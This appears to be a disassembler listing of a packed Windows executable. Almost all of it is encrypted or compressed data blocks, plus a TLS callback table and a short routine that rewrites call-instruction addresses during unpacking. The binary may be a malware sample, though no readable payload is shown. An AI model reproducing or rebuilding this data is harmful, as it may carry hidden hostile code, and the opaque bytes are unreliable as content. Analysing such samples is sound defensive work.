		dd 830F0014h, 0F1D100Fh, 0B8B1E4Bh, 3C1E5CE7h, 2405163Bh
		dd 1642540Ah, 582DBD4Bh, 8E2D0E0Dh, 4A4D2B02h, 46193D2Dh
		dd 74227EEh, 7F1A132Eh,	6B190F4Eh, 0F18BD45h, 7D82C73h
		dd 27355E48h, 0A133860h, 0E25022Eh, 6E673B01h, 51A3202h
		dd 3B491A4Eh, 7C0E0145h, 4B01582Bh, 13460717h, 13653920h
		dd 10B95D57h, 0F023023h, 6F560214h, 227382Bh, 5FE2E77h
		dd 8B2B2200h, 1D02243Dh, 4A0C0F02h, 3DCFAF7Eh, 5B025A08h
		dd 8110B716h, 9BAA2167h, 0A2541636h, 0EC68F05h,	5A4D230Ah
		dd 2813111h, 14024626h,	0E6052C1Eh, 224171Dh, 51A0A37h
		dd 26520543h, 894C9C2Ah, 8C070D0Fh, 57FEBD3Dh, 0B541500h
		dd 1765091Eh, 0A191AE1Ah, 20A6C42h, 2C021E35h, 1110529h
		dd 7220207h, 0A343B1Ch,	128025Ch, 7A083CADh, 56820231h
		dd 17162918h, 57250266h, 621F020Fh, 4C1C1DB2h, 2111776h
		dd 35164433h, 1A1E470Bh, 2372219h, 19FE022Ah, 21083200h
		dd 0FE0C4222h, 71D0050h, 8A343B69h, 31165410h, 3332022Ah
		dd 7D1D1602h, 521E5810h, 58C0F02h, 0A334533Dh, 44163367h
		dd 2308A61Bh, 153E4120h, 3B0F022Ch, 5220F02h, 40029563h
		dd 161D0518h, 33280211h, 51380B2Ah, 6410153Fh, 0E005EFEh
		dd 2416386h, 1470C3Ch, 7C021956h, 601330Eh, 410B390Ah
		dd 100241CCh, 1322A401h, 510B019Dh, 846C74BAh, 0A8F394Bh
		dd 1121170Bh, 53056707h, 4D2F4658h, 981C721Ah, 25EB1F0Ch
		dd 270F4C88h, 434B051Dh, 2E7E7A68h, 9B223374h, 0FE0A481Ah
		dd 0D010043h, 0D1D3234h, 5A7E024Eh, 2224857h, 950C02A3h
		dd 50E203Dh, 35080B43h,	8E425D57h, 18062708h, 0D130C02h
		dd 707056Bh, 18BD0211h,	8072B3Ch, 2A812D38h, 3B029FA5h
		dd 56243422h, 0D600E05h, 1705481Ch, 2D6E1F1Ch, 840536Ah
		dd 1E9C097Dh, 5C0A2046h, 2536A37h, 1F01605Bh, 35B8110Ah
		dd 1D980F29h, 75441374h, 2020770Fh, 3B01151Ah, 2070B15h
		dd 183F3623h, 4440513h,	47101013h, 386B7B59h, 5E05CC71h
		dd 450F0211h, 6220150h,	0B8290971h, 9B020C13h, 0FFFFFFFFh
TlsDirectory	dd 0
TlsEnd_ptr	dd 0
TlsIndex_ptr	dd offset TlsIndex
TlsCallbacks_ptr dd offset TlsCallbacks
TlsSizeOfZeroFill dd 0
TlsCharacteristics dd 0
TlsIndex	dd 0			; DATA XREF: y3hmw1t3:TlsIndex_ptro
TlsCallbacks	dd offset TlsCallback_0	; DATA XREF: y3hmw1t3:TlsCallbacks_ptro
		dd 0
; ---------------------------------------------------------------------------
		push	esi
		push	ecx
		mov	esi, eax
		mov	ecx, edx
		sub	ecx, 4
		cld

loc_44F7E6:				; CODE XREF: y3hmw1t3:0044F7FDj
		lodsb
		shr	al, 1
		cmp	al, 74h
		jnz	short loc_44F7FC
		mov	eax, [esi]
		bswap	eax
		add	eax, ecx
		mov	[esi], eax
		add	esi, 4
		sub	ecx, 4

loc_44F7FC:				; CODE XREF: y3hmw1t3:0044F7ECj
		dec	ecx
		jg	short loc_44F7E6
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8Bh,	0C0h
		dd offset sub_401000
		dd 0D000434Ah, 1, 717E0000h, 93F120D5h,	6481CC1Fh, 0A1B4812Dh
		dd 44661123h, 4E124C28h, 39A7C4Ch, 0AFE84960h, 0BD5D9D5Ah
		dd 74C5FFFFh, 0CA11DC5Ch, 41239CC5h, 0ADA82Bh, 4492BFDAh
		dd 0FD3C5F13h, 0E1E04B3Fh, 81AE5CD7h, 880A034Ah, 0D650B5A3h
		dd 8042DA33h, 7B11F005h, 0DD44E823h, 8DD86368h,	85515BF8h
		dd 0B47145A1h, 8B4B3B88h, 88B41B90h, 988B11BCh,	0BE08F11Bh
		dd 22D75311h, 0D1F4B581h, 2BEC8015h, 99F6014Ah,	0D6A56A8Ch
		dd 0A21DE731h, 0D7304D1Fh, 0E381FEB9h, 943C9E76h, 0CFA13D8h
		dd 0F46EEF6Ch, 0D1B88DCh, 0B746C237h, 6AD1B88Dh, 0D9F4E423h
		dd 364DBC88h, 8D876E62h, 235E1BE0h, 0F0C046E8h,	954ED29Dh
		dd 8EA282E6h, 9440D467h, 0A6C10940h, 0D30F40B1h, 3505CEC6h
		dd 20CE2Ah, 17801569h, 0A4BD0EF6h, 933D1493h, 7B042A3Eh
		dd 4230E62Eh, 9500F0D0h, 71901D22h, 7FFDE494h, 0C9C28FC0h
		dd 5D66751Eh, 0F4036056h, 0C20641A9h, 0A43659EFh, 1E4C1907h
		dd 5826A810h, 24891206h, 68322B9h, 0AF8BB1CAh, 0CB31700h
		dd 0A308BA20h, 530C0A85h, 35D2A12Dh, 80D589A2h,	0E138256Ah
		dd 9CDBB1A0h, 3AC953DAh, 38D8E75Ch, 7812BACh, 39A5684h
		dd 0D05E20E6h, 5155054Eh, 0C5FE1F1Fh, 0B6531AAAh, 0DB3E277Fh
		dd 8E4B37C5h, 0AA020F45h, 0CFE02194h, 0C61213EBh, 2AE1F890h
		dd 9BFF4683h, 30B191E8h, 5C09AE9Dh, 0D2846DE2h,	9C68AD0Bh
		dd 23345486h, 84044498h, 946C116Ah, 42AB8C81h, 0FA115B5Ah
		dd 14013950h, 68CC0F51h, 4174C6B9h, 0F01807E8h,	652670C1h
		dd 4D9B80C8h, 8024A940h, 8586943Eh, 57046FD3h, 6480400Bh
		dd 0E9A76CFAh, 71060496h, 0C3251E11h, 0D4708064h, 0E4AD6822h
		dd 0ABE22AF3h, 3E7E0617h, 0B68EFE0Dh, 3862132Ch, 3D6D841Ch
		dd 88A6BFC0h, 0ED1EDAC0h, 90B03C0Eh, 426B87AEh,	5B3DD9Ah
		dd 0CAB3206Eh, 0E8C15C71h, 629F88F4h, 639DFDDFh, 76964215h
		dd 5F5503ACh, 0E0478D03h, 7D766B50h, 0A4520A83h, 0CAF16D0h
		dd 0B2D867DBh, 0B8016466h, 4F63FD38h, 98E55451h, 14A9C092h
		dd 86525C03h, 7181A0Bh,	77167150h, 9CBFE01Eh, 56833AC2h
		dd 4B52E9D2h, 0B4C63278h, 9E4372C8h, 0E692E005h, 0C5E38A12h
		dd 0C597F759h, 7AB72496h, 13E0AAFDh, 107D33E6h,	2D773722h
		dd 2355B8BFh, 24948504h, 0F181C6EBh, 1E0C83E1h,	89C2F64Eh
		dd 0AD41538Bh, 0F08AED14h, 0A7F8682Eh, 89A234D8h, 0B85DA0FDh
		dd 0A934E431h, 6036A812h, 0E671CEh, 8D880D89h, 0A12513C0h
		dd 24778A11h, 22A28CA4h, 794F3BB4h, 76F3B29h, 4519640Dh
		dd 0D7309457h, 0C098EC4Dh, 2AA10199h, 810AD669h, 618B6D94h
		dd 944C9577h, 1B4D3601h, 5B882E03h, 3CD6D054h, 0D7816C0h
		dd 6DA47FE6h, 0AE364B12h, 0A800D304h, 65008B9Ch, 660086D1h
		dd 3046900Ch, 4953A30Ah, 0C17803A3h, 373F5DEh, 0A8600A35h
		dd 4EE9D7h, 80315D72h, 82ED223Ah, 3A5C50A0h, 88381BFDh
		dd 0D8EA61F4h, 0F810E46h, 707D1C55h, 5086C41Ah,	812EB8CDh
		dd 0C818180Ch, 0DB300FF9h, 33C2566Eh, 691B48D2h, 914CB0B2h
		dd 3D812700h, 0D4C173AFh, 0A08B6E4h, 8295C360h,	183B3158h
		dd 243FA830h, 553E948h,	6CB50522h, 11916330h, 78D53728h
		dd 485224B1h, 0ADA91611h, 1E2E67CDh, 793C06D8h,	5271E010h
		dd 0A4403521h, 22A4FD44h, 0E74D1EEh, 0AF6A8229h, 77D80086h
		dd 0EC6E85D6h, 94F90517h, 0C4F7F543h, 0A2C6E96Ch, 601CA4Ah
		dd 511F293h, 28650CACh,	0A2447C3h, 0A7373AACh, 6CA35388h
		dd 0B44F4918h, 6401150h, 6034DACCh, 28E8012h, 8406015Ch
		dd 21A40E4Ch, 6A188C1Eh, 8C60DF23h, 126E8517h, 445C3C46h
		dd 0D001BCC2h, 14C4C78Eh, 0C0C61426h, 663E1CA5h, 360D7811h
		dd 6B29985h, 97AB6C81h,	228E3B04h, 0CE41C6C2h, 50823988h
		dd 8B1D40D8h, 7DBE370h,	0AD8A583Ch, 81748E25h, 0D3462613h
		dd 3AD4BD03h, 99009905h, 0AECAC022h, 0B6E33153h, 49222693h
		dd 103C798h, 269543B9h,	328B4C69h, 8A224547h, 0C3CD8405h
		dd 246758BEh, 0A02EF7ECh, 0C0A28908h, 55B975C0h, 45828A01h
		dd 864DC299h, 824AD43Ah, 0C5050C62h, 74C204E1h,	0CA7E2504h
		dd 314EFD7Fh, 24F2621h,	246C2389h, 4DD23910h, 1CA25FB1h
		dd 78B5071h, 6F2DFF15h,	845BAC20h, 0C1884555h, 65C017F8h
		dd 0FE57EC42h, 390354Dh, 0B0CD8FDh, 0BF1C783Bh,	8212D50Ah
		dd 849E08E4h, 943C179Ch, 25E963Ah, 48E71FEEh, 775F2CC4h
		dd 0D44C800Ch, 0C7B0444Fh, 306092C6h, 22511671h, 380D20F8h
		dd 51B1A09Bh, 5E715D53h, 271C5C3Fh, 27047802h, 0E1837A0Ch
		dd 790F67EBh, 0BF4FFF20h, 0ADC75D49h, 0E1112542h, 26790148h
		dd 3E13B2E6h, 8BAC9468h, 3D8FB290h, 0E06A7025h,	81255C85h
		dd 0B896C1D7h, 66E94083h, 0B0400FF0h, 3E730F0Eh, 81B0F834h
		dd 94004E33h, 57CE80D7h, 95126671h, 18E8C22Fh, 8A4C5565h
		dd 24EF82A6h, 0C4DFCB0Eh, 586DEF59h, 0A1877F17h, 142E5D51h
		dd 8A80B2BEh, 81586D9Fh, 10844C87h, 34876292h, 24397419h
		dd 0B7EB4C95h, 0ECBF4302h, 0BD83EAE0h, 0FF67C23Bh, 4A82D707h
		dd 0EC4E807Ah, 0E3C14DD6h, 0DEE39C89h, 3015ABA8h, 1F63080Bh
		dd 2DA43548h, 85CB037Dh, 9D8D8201h, 8FEBAD47h, 0F215A5DBh
		dd 0FB4ADBA8h, 8473DAB7h, 0EE320B43h, 8A35D058h, 8856FD3Dh
		dd 0D3383D6Ah, 10063134h, 0D53DBA74h, 87B3C98h,	8D340A88h
		dd 316A169Eh, 847189DCh, 22B5A40h, 4475C092h, 33D32B9Fh
		dd 0C5273B6h, 83041A55h, 0B518758Bh, 0FD26E7C0h, 0C968390Bh
		dd 7B117C09h, 6C1D6052h, 2F52E90h, 50BF37F1h, 0DA97C106h
		dd 0DB55F6A0h, 0E1F7F052h, 0B81F3AE1h, 2B68EC46h, 968DE6F2h
		dd 59E25AA5h, 0DDE24481h, 8F08252Ah, 0C4A3E7B0h, 625AB4F5h
		dd 31C4C0A2h, 4F17A480h, 0E52408Dh, 0B5E3594h, 6532F1EDh
		dd 0C1DF6B65h, 187E75CAh, 363E7910h, 0B0771310h, 0F18EB970h
		dd 0EBA715A3h, 8BD9540Ch, 56843428h, 0D3750572h, 930F658h
		dd 3025DE32h, 45633BA7h, 0DA4E028h, 771B8B8Bh, 9CCEF5CEh
		dd 702F4828h, 0F0A59370h, 0EE386A88h, 4A2B4491h, 0A564255Dh
		dd 67146644h, 7AB354EFh, 537310A9h, 0E4BD089h, 8B24011Eh
		dd 16ABB367h, 722D9485h, 152B4561h, 10788180h, 0D0C83748h
		dd 600143F7h, 2303F808h, 0BC4378F7h, 1CC7F1FEh,	0FA155ADh
		dd 78CBA085h, 0F8D022F5h, 1A3BA354h, 0C9DF4981h, 0B4C529D1h
		dd 0EB6BE2E5h, 0CD37F1ABh, 96416461h, 0EF631671h, 0F7D115BCh
		dd 7862D8D5h, 876140B4h, 0AA0D0508h, 34EC1D25h,	0D2A68BECh
		dd 0B098DB27h, 0B49C149Eh, 4DEAE224h, 42E01Ah, 19B9F6AAh
		dd 5F5B5594h, 45F408D7h, 0D91FA019h, 70ED5CFCh,	22BCEC1h
		dd 708E1DB8h, 76FB3C55h, 43F2E624h, 0A579F9E8h,	9A3EEF15h
		dd 28B6E2C5h, 63026B82h, 0ACDF68B6h, 0B575CFCEh, 0F7E17280h
		dd 3C06873Eh, 5389114Eh, 0E0C009E3h, 8301BE1Ah,	13EDF89Fh
		dd 4214D7A1h, 0F5614492h, 0D65B7720h, 2F182AA8h, 9B8DCCAFh
		dd 208996A2h, 85A6676Ch, 0F012428Ch, 841026EBh,	69D0EEFBh
		dd 8826AEE3h, 0A188C0FCh, 0BA584F6Dh, 0EB9F1330h, 87D46A8Ah
		dd 0F17C6405h, 0E9E09F4Bh, 4885EAF0h, 7E82EF32h, 8D01CA08h
		dd 7995B87h, 9F1510ADh,	8E26E5BDh, 54B11AA4h, 2D5C03E3h
		dd 22A8F4C6h, 0C8A8291Ch, 7A41EC80h, 8081ECF3h,	8055C10Ch
		dd 73F8C641h
		dd 3B0EE56Ch, 4ED7A9C4h, 2B0C21DCh, 413CF006h, 3698B687h
		dd 2754A1A9h, 0C03DDCA8h, 5B65B739h, 4BCAA854h,	0FA8A2F4Ah
		dd 7F294A8Dh, 46214B23h, 0D3FC7A3h, 2C4DEB91h, 8828BB9Fh
		dd 0ECF7DA1Ah, 0CF110401h, 45063AA2h, 66A756F0h, 26C505B3h
		dd 89CD218Bh, 5FB3EFB0h, 89961E28h, 0DCE87382h,	0FE1358D5h
		dd 8B9C30CAh, 0A4E9531h, 0B9650CD8h, 6877FBE5h,	15E8E302h
		dd 7022E156h, 3CEF429Bh, 802D5A86h, 0F09AE86h, 0FF18E4D7h
		dd 82E2BE0Eh, 3D70518Ch, 751ACBC1h, 0F2FF339Ch,	0A1A5CA59h
		dd 85569042h, 33FA8D2Ch, 5ED21956h, 5584ABD4h, 38D5A77Dh
		dd 0E86BE3E2h, 0AEF00CB2h, 3817875Bh, 63B5A18Bh, 83BFC923h
		dd 94B8D257h, 0A636094Ch, 6A222002h, 88368D04h,	0B5147176h
		dd 3AA4521Ah, 0C18563E6h, 737C3657h, 0E421A40Eh, 0E2A668DCh
		dd 8B470A26h, 0AED0B202h, 6F8E98B4h, 0F5946AAh,	0C374E781h
		dd 0A7E61895h, 995A8A2Ch, 23540373h, 8A813F0Eh,	890ED5CAh
		dd 0D4017C59h, 94F2D14Eh, 0B0480360h, 8A797568h, 2AB001D6h
		dd 8366DA30h, 43D94612h, 0C5D2CA41h, 80AC5BB8h,	525A0A17h
		dd 0AB7FD8Dh, 0E7C20A3Ah, 701ED25Eh, 40966243h,	0BCA30DF2h
		dd 0D93902E0h, 14673B36h, 6E57BF45h, 0A8D2528Ch, 6240C79Dh
		dd 7D1028C8h, 3175307h,	0C92A0BB5h, 0B4114E50h,	35EB78DAh
		dd 0ED016A92h, 1C898115h, 2207E9C0h, 5D2D4AC2h,	9BE7DF27h
		dd 0F5EA50A9h, 3BF8D44Ch, 4A81420Bh, 4E16A207h,	0B75F4541h
		dd 0AEB76F82h, 0BCA8538Eh, 688DED83h, 628A7C3Fh, 94B03850h
		dd 0DC653FD4h, 70927C12h, 456B511Ch, 0D186881h,	25AA0618h
		dd 462E5D9Ah, 788ED26h,	28A670D5h, 0F7AEA08Ch, 4510940Ch
		dd 8D045AA4h, 24542374h, 7F83A2C0h, 71D56667h, 0A3580D08h
		dd 0C33014C1h, 9576E8F5h, 7C09AE42h, 365676A6h,	0EC28DF1Eh
		dd 279BFF7h, 0D31AEE8Ah, 281106C5h, 543C1684h, 46AE8069h
		dd 5C3F70F4h, 0EACA7EF0h, 6AA00FC2h, 7A5AA52Dh,	43DAD67Eh
		dd 3D08F57Dh, 2814ACA6h, 99E07251h, 11A6271Ch, 356787C5h
		dd 9988A743h, 837D8325h, 0D06261E7h, 50701617h,	4337F9C9h
		dd 0EEFE0CB9h, 72FA1894h, 6DB2FF2h, 0D0F26B07h,	4A0D4FB9h
		dd 908FFFE2h, 67D20B18h, 0C2B25C96h, 0F996B540h, 3134B7F7h
		dd 46DAA7C6h, 54A4DF67h, 738650D5h, 0D589EF85h,	5C8B5ABFh
		dd 1B345983h, 64D4BC0Fh, 0A9D9852Ch, 543A680Dh,	5F639928h
		dd 7800C92Ch, 7E05D72Ah, 800CC4D9h, 1FC80062h, 893C63h
		dd 0B88D130Eh, 478EC2Bh, 0B828C868h, 0BBEC78B1h, 0A3EE86B2h
		dd 1DC253E9h, 1C621D65h, 9A56A805h, 67392A02h, 0F9EAA6B7h
		dd 8FD16B62h, 7D453EB3h, 186DBC4Dh, 0FC5172EFh,	0D34D666Eh
		dd 0B37DE8C5h, 8D56DAAAh, 42732B9Bh, 71DB24B5h,	38541456h
		dd 41CE34A8h, 2D2BC06Bh, 1E85B7FAh, 88FC542h, 90550F73h
		dd 0A22238F0h, 0BFC5CF51h, 0F206C892h, 4BC65EACh, 0E787AE7h
		dd 6B061321h, 9CDF24A1h, 1AEE6305h, 2D30718Bh, 710CAD8Ch
		dd 431B8251h, 82304FF4h, 72B0415Bh, 2C0A9742h, 0D86A476h
		dd 903E2B73h, 98095262h, 26C244EEh, 132E1768h, 736D020Fh
		dd 19650353h, 4DDE908Ch, 2B519D0Eh, 0AB261733h,	3E415975h
		dd 0CFBF7878h, 0E203A527h, 0A906C4C7h, 51B073F5h, 0FA254210h
		dd 5A3372D4h, 922BEFF8h, 140D08C7h, 0D1590445h,	7C77963h
		dd 82A3F996h, 2FE5C356h, 0D506DF85h, 99FF4182h,	0B13851D8h
		dd 0E842CAC0h, 7B805EC7h, 8E780BEFh, 0E18332F9h, 9DFC8397h
		dd 5F00E59Bh, 727BF13Bh, 2D4D26A8h, 7C80D6F5h, 57A8AE61h
		dd 62D67357h, 0DC7054B4h, 3B2B7AACh, 0E52F5B81h, 0EB309340h
		dd 84CEB512h, 1829A479h, 0A8726090h, 9D9A727Fh,	2CAE563Fh
		dd 62026AA0h, 0E0369A56h, 0CCB4AF16h, 148B7D3Fh, 0A942A34Dh
		dd 344447C2h, 557D2216h, 0CC5DEB62h, 245DFBF7h,	0CAEB8B81h
		dd 35253281h, 9DA303F5h, 0BFF69169h, 3CC9781Bh,	0B1C2B766h
		dd 1BF1803Bh, 65A230F4h, 45CF64CAh, 0D4EF8155h,	36B0C914h
		dd 0DBBF834Eh, 6D23770Bh, 562C54CCh, 0A8A5AFD7h, 0BED0EA87h
		dd 0E6A66904h, 5A457017h, 1902EB3h, 0A4C1D236h,	43D7B286h
		dd 0F86FBFDh, 0D81A1355h, 842FE96Fh, 1BC9C1C0h,	1810567Ah
		dd 38530DA2h, 46253A5Dh, 80B2FFBh, 522D3731h, 2093A332h
		dd 0BB83C85Dh, 447A32BEh, 0C5410C52h, 153E6ACBh, 1767B006h
		dd 40F5BCF4h, 6929B207h, 114ED098h, 266489B4h, 8F03E3D7h
		dd 0D70E9AB0h, 4A02040Fh, 25635005h, 0FC3A56A8h, 0B239174Dh
		dd 0A68A0BF8h, 5AA87080h, 98FFF6AAh, 0A1890281h, 1735207Ah
		dd 51ACCEE5h, 0EE25D94Ch, 0F8000034h, 4B7C8DDEh, 0D5636756h
		dd 0ED46AA72h, 7D880151h, 8B0CC467h, 81A0A636h,	116F7C5Dh
		dd 9461294h, 1FCACF61h,	3D5370Ah, 1C01B7ECh, 4A0135F2h
		dd 9587024Ch, 0A806C351h, 0F0FC4F89h, 0A554BA2Bh, 0C43BA956h
		dd 929B9E2Ah, 0D1DD559Ah, 74D8CE1h, 455AAEF1h, 0FF5A5CF3h
		dd 865330E2h, 0C2713738h, 8D248148h, 0E1A694E6h, 14F38B52h
		dd 0D80E7DBDh, 1A26587Eh, 108581Fh, 2E0A1509h, 869F88DAh
		dd 0C82229CDh, 0D8BF6AB9h, 88C2F80Bh, 0A42D82EDh, 3C0A4118h
		dd 0F982FD57h, 199A9969h, 0C60FDAA3h, 0A930CFDCh, 0A448561h
		dd 43877AA9h, 0E92A60C5h, 46B1907Ch, 5474556Bh,	0B4729F99h
		dd 0FBE56059h, 38931852h, 92A69CD4h, 868E042Eh,	4DF7ACC5h
		dd 0D7EA6241h, 98A3D480h, 0A541CCF6h, 0BE1E2206h, 93F85CF2h
		dd 0A6A21518h, 42B6A2E2h, 0BA2104F2h, 0D02CFB7Eh, 352A6616h
		dd 4D0BA2F9h, 0C516A21Eh, 75D1A2D0h, 2C0ABAAh, 4A51C86h
		dd 6974B2Bh, 30143752h,	45D1453Dh, 27ECD6B5h, 2ACC123Eh
		dd 0DE876547h, 585E4C54h, 0C65359E1h, 0C5EC7FA9h, 0F3F9B43Ah
		dd 9DC64316h, 9D807004h, 900CA1D9h, 87CE2D8h, 0B8B5812h
		dd 5CB26EF4h, 4DC6ED58h, 132B31E9h, 0C2162A7Fh,	0C19F4741h
		dd 1C443F3Eh, 0D0D82D4h, 145552E9h, 0E8210AC3h,	45A3EF5Eh
		dd 0DECDF161h, 6974E46Fh, 0C1A8AAE2h, 3D8B4B77h, 97C32FD6h
		dd 2EC4E32Eh, 57D5B8B1h, 5C5392F8h, 60217058h, 4AED66C5h
		dd 4DFAA2E4h, 1AEA5440h, 5E90FD9Fh, 4E2933E1h, 3C088E20h
		dd 49E91C64h, 0C5427315h, 9ABD73D8h, 622D309Ch,	4A8CD2B6h
		dd 5D1280FDh, 249F4467h, 0D46AB050h, 19F4DD64h,	54640033h
		dd 0EE2E14C1h, 87B5749h, 8C5EFBFCh, 0E927AC4Ah,	0D9057C46h
		dd 0EB8BC4AAh, 4B43E203h, 9168BC92h, 150A361Ah,	0FEB8462Ch
		dd 0DCE371E8h, 7C38131Dh, 19227060h, 2C95A1Ah, 1F94C9FAh
		dd 915EC41Ah, 3DDC5737h, 0B7A7765h, 0EA49560Ch,	436B38F4h
		dd 28392FEh, 2F83E0AFh,	0A804E153h, 0E948F9E4h,	0E1786C22h
		dd 0FDBB9B5h, 0D400F121h, 89ED1FF7h, 282857DCh,	92B544F6h
		dd 885E7F1Bh, 55881C55h, 110734Ch, 7D70E59Dh, 6D92903Eh
		dd 0CF46FC63h, 3D704C62h, 8573608Ah, 0BE0075BAh, 0AF78847Eh
		dd 7C4B6328h, 0BA9DA5A1h, 350AA67Dh, 106B5D45h,	0CD775F7Ch
		dd 0E568A979h, 90F5C85Ah, 260A8440h, 31EDC01h, 0E0F6A140h
		dd 275743E5h, 2948860h,	0A01640D6h, 0B1444112h,	50435463h
		dd 0AB494A22h, 2629D394h, 49224611h, 123DD1C4h,	20442468h
		dd 0A83E825Dh, 49118901h, 2500464Fh, 0A32E20A6h, 6F323B8Dh
		dd 0DC2DCA03h, 0DF2B9E08h, 0E17B38AEh, 0ACF03888h, 2A68A5CAh
		dd 34D7E376h, 2E80CAE5h
		dd 0C7951CABh, 24F51EEh, 5A252FE4h, 0C4A5007Eh,	5002824Ah
		dd 712F6691h, 8ABA7F19h, 61475D81h, 0B99C85A4h,	0B337ECA9h
		dd 315C94EAh, 10CA501h,	4947127h, 0E66BA40h, 0E675C2Eh
		dd 8B748A78h, 5E31B60Fh, 5B395168h, 1721208Ah, 4AAC0C7Ch
		dd 48120441h, 0C34555B5h, 8C29B52h, 7CA8A809h, 90B01051h
		dd 1E2524A4h, 0B2095645h, 9FDA3E0Bh, 7E215457h,	70BCEBAh
		dd 0FC00FB23h, 1F44F2A1h, 5097CFC2h, 3116156Dh,	4602E7DEh
		dd 50038C05h, 0BD2846A5h, 522A9EC5h, 1FE18438h,	3131751Dh
		dd 0CB07623h, 780B5FE0h, 0C890CC4Eh, 0C1E9246Ch, 21C42E8h
		dd 0DF25A384h, 4DC5312Ah, 926A9FE5h, 0C65995E2h, 4E06E17Dh
		dd 0EDD53C04h, 989936FBh, 0FD528025h, 0E7719BA9h, 0D720B6CDh
		dd 0CA57E8DCh, 0F2DB4ADCh, 253DEBD0h, 230B6770h, 68539B9Bh
		dd 0A631E02Ah, 8E5DAD89h, 8D7C3AE8h, 48986F60h,	0B28947ADh
		dd 8B22447Ah, 0E9BA8C47h, 1E936511h, 11E82671h,	0C11E226Ah
		dd 6816AA26h, 0AE0857B7h, 0B983C202h, 1413A382h, 0E3C92C4h
		dd 4B197A8h, 0DBF51628h, 2A16F721h, 1F0AE2DDh, 8C0293F9h
		dd 4712B3A3h, 0B803C838h, 0F54980A5h, 0C0E6EAB3h, 96268B98h
		dd 35C1123Fh, 146E108h,	0AF709EFBh, 9A99F9EBh, 0A8A0E67Ch
		dd 32BEFEC2h, 0B2EA4228h, 0EB1D440Fh, 599D0717h, 63FAA05h
		dd 0CBBE9B31h, 7151C92Fh, 70067EB1h, 8DA0B274h,	0C336AAAFh
		dd 6E79FFCDh, 0E81CA284h, 0E11D9501h, 3FD43F03h, 76EBA378h
		dd 0F4A8DF12h, 0C6C00299h, 0C1FCC6FFh, 7C8187EDh, 8819C1A4h
		dd 0BEF008C4h, 215F70FFh, 6BD5C696h, 27C481F0h,	0A51DB6C4h
		dd 0E2E06EAAh, 93BF3A0h, 83D2CBE6h, 7C069E1h, 10328C6Fh
		dd 0E0728404h, 518A6260h, 2AD55A8Eh, 16089D8Ah,	453B29C7h
		dd 61A632F6h, 0F8708395h, 0BC1C6D80h, 1AAA43F2h, 581A513Eh
		dd 3955571h, 3CD269E0h,	43376C36h, 0B54CB014h, 0D7A6E94h
		dd 0E7B40D63h, 0D50E3ECCh, 7D0D0E6Ah, 8B2B3012h, 3C913B9Fh
		dd 0A3D638E0h, 0ECE34508h, 8081A883h, 100916C4h, 23202725h
		dd 6AFC6580h, 7C7E4890h, 0F57C061Bh, 0A87C16A1h, 0E63B3D34h
		dd 0E1DCF4AEh, 0E0410327h, 2308C851h, 5F8FED7h,	0ABF617C6h
		dd 21D72AE6h, 59238230h, 8079FA3Bh, 90C1BC43h, 0E1C8FC1Eh
		dd 0E6EB0ACAh, 0B118E028h, 380BEAB3h, 5373ACDAh, 0A6619229h
		dd 24F16943h, 0A76CFB6Ch, 8DC27AE0h, 65CBEAD6h,	0C5B9CB51h
		dd 8D4738E3h, 80F41434h, 0BE74365Eh, 185EE930h,	5DE8D7BCh
		dd 6FA33D84h, 1B28D51Fh, 0B3EF103h, 0EDFB62B9h,	5B08DFE3h
		dd 8761DC35h, 0E98BFA22h, 556C0FD7h, 39B0F856h,	0A44EA156h
		dd 97D0BF6Bh, 0E4EFD148h, 69361A38h, 0EB5FF7ABh, 1DE28EA9h
		dd 0D2EC8D0Ch, 91CD0845h, 68605537h, 2A6776A8h,	158C9674h
		dd 86A123A6h, 785D0524h, 0F4982FE3h, 729D4871h,	51F6389Ch
		dd 11F98D65h, 776EDB7h,	803B8500h, 97FF8F49h, 8DEB03Ch
		dd 8BF7A757h, 0F904303h, 2BDAF114h, 1D4024E6h, 21C07342h
		dd 84050CDEh, 441D0ACEh, 13D5122Ah, 0D9A86CCBh,	167CAB1h
		dd 16ADD6Eh, 510074h, 5CE004ADh, 9AC7CF50h, 8C242838h
		dd 56D2E7B6h, 529CDFA8h, 0F8E8AE76h, 0E2825CF7h, 7BB8267Ah
		dd 0AB05D1E0h, 84248403h, 0EE561104h, 0C3500DFAh, 92AA9DF7h
		dd 0F619BD6Fh, 42373CE5h, 77FF0102h, 14AB483Dh,	4A412536h
		dd 0FD13211h, 0C5A2E91Eh, 968F8D3Fh, 63453B7Ch,	8DBAA382h
		dd 0D488B29h, 0BD7085E2h, 0C9AAD7C4h, 0C8989771h, 40C9385Ah
		dd 0A8255778h, 0CA0953AAh, 9BB83B29h, 84AC1ED3h, 73DB459Eh
		dd 0A4F26195h, 1A6E8C5h, 2525A61Eh, 0FAAFF620h,	6E63DDADh
		dd 0AF45376h, 0FC073BBCh, 98856729h, 0E0B293ECh, 2EEA9F24h
		dd 0C695580Ch, 4E0549F2h, 912AA02h, 0CEF188CCh,	6A04AC16h
		dd 0AA0F11A3h, 0D227BAC3h, 6C05C34Ch, 0B701A5A6h, 70E2A3D1h
		dd 4CE38827h, 1A3FD409h, 5166566Ah, 5B4DA2A6h, 0FEB5E3C1h
		dd 89E31560h, 0B3C0441Bh, 0F0095A3Fh, 4789F477h, 210C515Ch
		dd 0F47658BDh, 850A387Ah, 2450A849h, 33189155h,	0EEBB13C2h
		dd 9588D75h, 5F1ADDA3h,	6F6A44CEh, 571D0B14h, 0F9EE0340h
		dd 9A24CADBh, 8F69958Fh, 8AB1A21Ah, 70322188h, 0CD09A103h
		dd 21B45531h, 814AA7F3h, 65390653h, 6180E9Ch, 962C4166h
		dd 84115A71h, 5176A2Eh,	79636BBAh, 15347A60h, 0AC341208h
		dd 0B5A75D02h, 588A6C06h, 400A49C2h, 0EFD3E417h, 38C41845h
		dd 5D430002h, 5477B108h, 1F845AADh, 0EDA01192h,	0DC1D8206h
		dd 0CAAAE409h, 0B425B10Eh, 2E802E2h, 0A5568E4h,	0E03FA35h
		dd 8140DFCEh, 351667F3h, 0C643661h, 43CF413Ah, 280D41D3h
		dd 1623252Dh, 2E626839h, 0B71DAA6Ch, 0C573E6AAh, 5996593Ch
		dd 81EE6077h, 29EB4624h, 18BB068Fh, 796655A6h, 6B49EE31h
		dd 0D35459BCh, 9F88ACC9h, 618E2334h, 54E20820h,	7827518Eh
		dd 0BB9276A9h, 0B61312F7h, 223DC7CDh, 0C0F81496h, 80E146F5h
		dd 9DABC46Bh, 5EA65646h, 0E23CA104h, 6980C1A4h,	0AE1785D2h
		dd 5E2DBC1Dh, 481B9729h, 2C8A40D2h, 0DB4B6B34h,	0C8E7D4CCh
